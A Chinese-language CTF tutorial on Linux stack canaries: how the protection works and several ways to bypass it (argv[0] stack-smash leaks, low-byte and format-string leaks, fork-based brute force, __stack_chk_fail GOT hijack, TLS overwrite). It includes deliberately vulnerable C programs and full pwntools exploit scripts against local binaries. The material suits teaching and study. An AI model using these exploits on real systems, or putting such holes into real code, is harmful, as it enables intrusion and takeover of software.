[TOC]
Canary介绍
简介
我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。
Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。
Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。
原理
可以在 GCC 中使用以下参数设置 Canary:
-fstack-protector 启用保护,不过只为局部变量中含有字符数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护
开启 Canary 保护的 stack 结构大概如下:
High Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| local variables |
Low Address | |
wiki:)x64程序
32位是取gs寄存器的值放在rbp-4处
当程序启用 Canary 编译后,在函数序言部分会取fs 寄存器 0x28 处的值,存放在栈中 rbp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:
mov rax, qword ptr fs:[0x28] ;取fs:[0x28]的值给rax
mov qword ptr [rbp - 8], rax ;把rax的值给rbp-8的位置
在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。
mov rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>
如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail
。__stack_chk_fail
也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下。
eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
这意味可以通过劫持 __stack_chk_fail
的 got 值劫持流程或者利用 __stack_chk_fail
泄漏内容 (参见 下文stack smash)。
进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard。
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;
如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。
事实上,TLS 中的值由函数 security_init 进行初始化。
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数
//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);
_dl_random = NULL;
}
//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
测试代码:
//gcc -fstack-protector-all -o test test.c
#include <stdio.h>
void func1(){
int a = 10;
printf("Func1 int a = %d\n", a);
}
void func2(){
char s[10] = "func2";
gets(s);
printf("Func2 char s[10] = %s\n", s);
}
void func3(){
char *s = "hello world";
printf("Func3 char *s = %s\n", s);
}
int main(){
func1();
func2();
func3();
return 0;
}
查看func1函数汇编代码:
- 可以看到,在func1函数开始时,会把fs:[0x28]的值放在rbp-8处
- func1函数返回时,会检查rbp-8处的值与fs:[0x28]的值是否相等(func2,func3类似
当发生栈溢出时:
Canary绕过与利用
Stack smash
原理
在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail
函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。
所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail
函数中就会输出我们想要的信息。(相关__stack_chk_fail等函数见上文
例题
32C3 CTF readme
程序开启了Canary和NX保护
程序逻辑:
- 该题为读flag题,flag存储在byte_600D20数组中
- 首先输入name,这里使用_IO_gets函数,存在溢出
- 然后让我们输入flag,我们输入的flag会把byte_600D20数组中的值给覆盖掉,对于我们没有覆盖的byte_600D20中的值,程序会直接把其覆写为0
思路:
- 在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 find 来进行查找。
- 所以byte_600D20中的flag在400D20中其实还有一份,但是得程序加载才会有
- 所以我们可以把argv[0]修改为400D20,这样我们触发栈溢出,这样由于Canary保护检测,就会输出保存信息和argv[0],这样就输出了flag
查找argv[0]地址:0x7fffffffdf08
计算argv[0]距离_IO_gets函数输入点的偏移:0x7fffffffdf08 - 0x7fffffffdcf0 = 536
利用栈溢出覆盖argv[0]为0x400D20,exp:
from pwn import *
io = process("./smashes")
payload = 'A'*536 + p64(0x400D20)
io.sendlineafter('name? ', payload)
io.sendlineafter('flag: ', '')
io.interactive()
2018 网鼎杯 - guess
前置知识:在linux应用程序运行时,内存的最高端是环境/参数节(environment/arguments section) 用来存储系统环境变量的一份复制文件,进程在运行时可能需要。 例如,运行中的进程,可以通过环境变量来访问路径、shell 名称、主机名等信息。 该节是可写的,因此在格式化字符串和缓冲区溢出攻击中都可以攻击该节。 *environ指针指向栈地址(环境变量位置),有时它也成为攻击的对象,泄露栈地址,篡改栈空间地址,进而劫持控制流。
_environ:
在Linux C中,environ是一个全局变量,它储存着系统的环境变量。
它储存在libc中,因此environ是沟通libc地址与栈地址的桥梁。
environ利用:
- 通过libc找到environ地址后,泄露environ地址处的值,可以得到环境变量地址,环境变量保存在栈中,通过偏移可以得到栈上任意变量的地址。
程序开启了Canary和NX保护,程序逻辑如下:
- 将flag.txt文件中的flag放入real_flag中
- fork创建子进程(3次,所以我们只有三次机会
- 使用gets函数输入猜测的guess_flag,存在溢出
这题与前面32C3 CTF readme这题类似,唯一不同的是这次的flag是放在了栈上,而不像上一题直接放在BSS段中,所以我们要泄漏flag存放的位置(栈地址
思路如下:
找到argv[0]与输入点的偏移
泄漏存放real_flag的栈地址
- 计算real_flag与environ的偏移
- 泄漏libc,计算environ的地址,然后泄漏environ栈地址
- 计算real_flag的栈地址
将argv[0]地址的换成real_flag栈地址,然后触发栈溢出,打印出flag
1、找到argv[0]与输入点的偏移:0x7fffffffdf08 - 0x7fffffffdde0 = 0x128
2、泄漏存放real_flag的栈地址
- 计算real_flag与environ的偏移:0x7fffffffdf18 - 0x7fffffffddb0 = 0x168
- 泄漏libc,计算environ的地址,然后泄漏environ栈地址:environ_addr
- 计算real_flag的栈地址:environ_addr - 0x168
exp:
from pwn import *
#context.log_level = 'debug'
io = process("./guess")
elf = ELF("./guess")
libc = elf.libc
def leak(content, flag=False):
payload = 'A'*0x128 + content
io.sendlineafter('flag\n', payload)
if not flag:
io.recvuntil('***: ')
return u64(io.recvuntil(' terminated', drop=True).ljust(8, '\x00'))
#泄漏libc
puts = leak(p64(elf.got['puts'])) #泄漏put函数got表项内容
libc_base = puts - libc.symbols['puts'] #计算libc_base
print hex(puts)
print hex(libc_base)
environ = libc_base + libc.symbols['_environ'] #计算environ地址
environ = leak(p64(environ)) #泄漏栈地址
flag = environ - 0x168 #计算flag栈地址
print hex(flag)
leak(p64(flag), flag=True)
io.interactive()
泄露栈中的 Canary
原理
1、Canary 设计为以字节 \x00
结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要多次溢出,第一次溢出泄露 Canary,之后再次溢出控制执行流程。
- 可以看到Canary的低字节为00
2、格式化字符串直接泄漏Canary的值
例子
测试程序(wiki:
//gcc -m32 -no-pie -0 leak_canary leak_canary.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
该程序开启了Canary和NX保护
- vuln函数中read读入0x200个字符,存在溢出
- vuln函数中printf(buf)存在格式化字符串漏洞
- 存在getshell后门函数
有格式化字符串漏洞和后门函数,是不是想hijack retaddr
有格式化字符串漏洞,并且没有开启RELRO保护,是不是想hijack GOT
1、覆盖 Canary 的低字节
Canary被放在了ebp - 0xc处,在IDA里面可以看到ebp距离输入点的偏移为0x70 ==> Canary距离输入点的偏移为0x70 - 0xc = 0x64 == 100
from pwn import *
io = process("./leak_canary")
shell = 0x80485A4
#把Canary的低字节覆盖为'A'即0x41
payload = 'A'*101
io.sendafter('!\n', payload)
io.recv(100)
canary = u32(io.recv(4)) - 0x41
print hex(canary)
payload = 'A'*100 + p32(canary) + 'B'*8 +'dead' + p32(shell)
io.send(payload)
io.interactive()
2、格式化字符串直接泄漏Canary
- 调试得:Canary为格式化字符串的第31个参数 ==> %31$p可以泄漏Canary的值
from pwn import *
io = process("./leak_canary")
elf = ELF("./leak_canary")
#泄漏canary
io.sendafter('!\n', '%31$p')
canary = int(io.recvuntil('00'), 16)
print 'canary: %s' % hex(canary)
#ret2text
payload = 'A'*100 + p32(canary) + 'B'*12 + p32(elf.symbols['getshell'])
io.send(payload)
io.interactive()
one by one爆破Canary
原理
对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的。one by one爆破思想是利用fork
函数来不断逐字节泄露。这里介绍一下fork函数,fork函数作用是通过系统调用创建一个与原来进程几乎完全相同的进程,这里的相同也包括canary。当程序存在fork函数并触发canary时,__ stack_chk_fail函数只能关闭fork函数所建立的进程,不会让主进程退出,所以当存在大量调用fork函数时,我们可以利用它来一字节一字节的泄露,所以叫做one by one爆破。
例子
测试代码(上个测试代码稍微修改:
- 这道题有fork函数,会循环创建子进程
- 没有了printf输出函数
//gcc -m32 -fstack-protector -o one_by_one one_by_one.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
void getshell(void) {
system("/bin/sh");
}
void init(void) {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void vuln(void) {
char buf[100];
memset(buf, 0, sizeof(buf));
read(0, buf, 0x200);
}
int main(void) {
init();
while (1) {
printf("Hello Hacker!\n");
if (fork()) {
wait(NULL);
} else {
vuln();
exit(0);
}
}
return 0;
}
exp:
from pwn import *
import time
#context.log_level = 'debug'
io = process("./one_by_one")
elf = ELF("./one_by_one")
canary = '\x00'
for k in range(3):
print "Find %d" % k
for b in range(256):
#print "Check %d for %d" % (b, k)
payload = 'A'*100 + canary + p8(b)
io.sendafter('Hacker!\n', payload)
time.sleep(0.01)
res = io.recv()
if 'stack smashing detected' not in res:
print 'the %d is %d' % (k, b)
canary += p8(b)
io.send('A'*108)
break
print 'canary: %s' % hex(u32(canary))
payload = 'A'*100 + canary + 'B'*12 + p32(elf.symbols['getshell'])
io.send(payload)
io.interactive()
劫持__stack_chk_fail 函数
原理
在开启canary保护的程序中,如果canary不对,程序会转到**__stack_chk_fail函数执行**。__stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。
例子
测试代码:
- 程序存在格式化字符串漏洞,且有后门函数
- 这里只有一次read–printf机会,所以不能leak canary后再攻击
- 利用格式化字符串漏洞任意地址写,将__stack_chk_fail的got表项内容替换为getshell函数地址
- 触发Canary,执行__stack_chk_fail ==> getshell
// gcc -m32 stack_chk_fail.c -o stack_chk_fail
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char buf[100];
read(0, buf, 200);
printf(buf);
return 0;
}
exp:
from pwn import *
io = process("./stack_chk_fail")
elf = ELF("./stack_chk_fail")
#格式化字符串地址相对于格式化字符串的偏移为10
payload = fmtstr_payload(10, {elf.got['__stack_chk_fail']:elf.symbols['getshell']})
payload = payload.ljust(0x70, 'A')
io.send(payload)
io.interactive()
数组下标越界绕过Canary
原理
当程序中存在数组,没有对边界进行检查时,如果我们可以对数组进行对应位置修改,我们就可以绕过canary检测,直接修改返回地址。所以如果可以对arr数组任意位置进行修改,这就存在数组下标溢出。
以下图为例,数组大小为3,但是没有对数组的下标进行检查,这时返回地址就相当于arr[5],如果我们对arr[5]进行修改就是对返回地址进行修改。
覆盖 TLS 中储存的 Canary 值 (具体见Canary-TLS Blog
原理
已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。(一般是针对子线程
如果我们溢出的足够大,大到能够覆盖到fs/gs寄存器对应偏移位的值,我们就可以修改canary为我们设计好的值,这样在程序检测时就会和我们匹配的值进行检测,从而绕过canary保护。在初始化canary时,fs寄存器指向的位置是TLS结构体,而fs指向的位置加上0x28偏移的位置取出来的canary就在TLS结构体里面。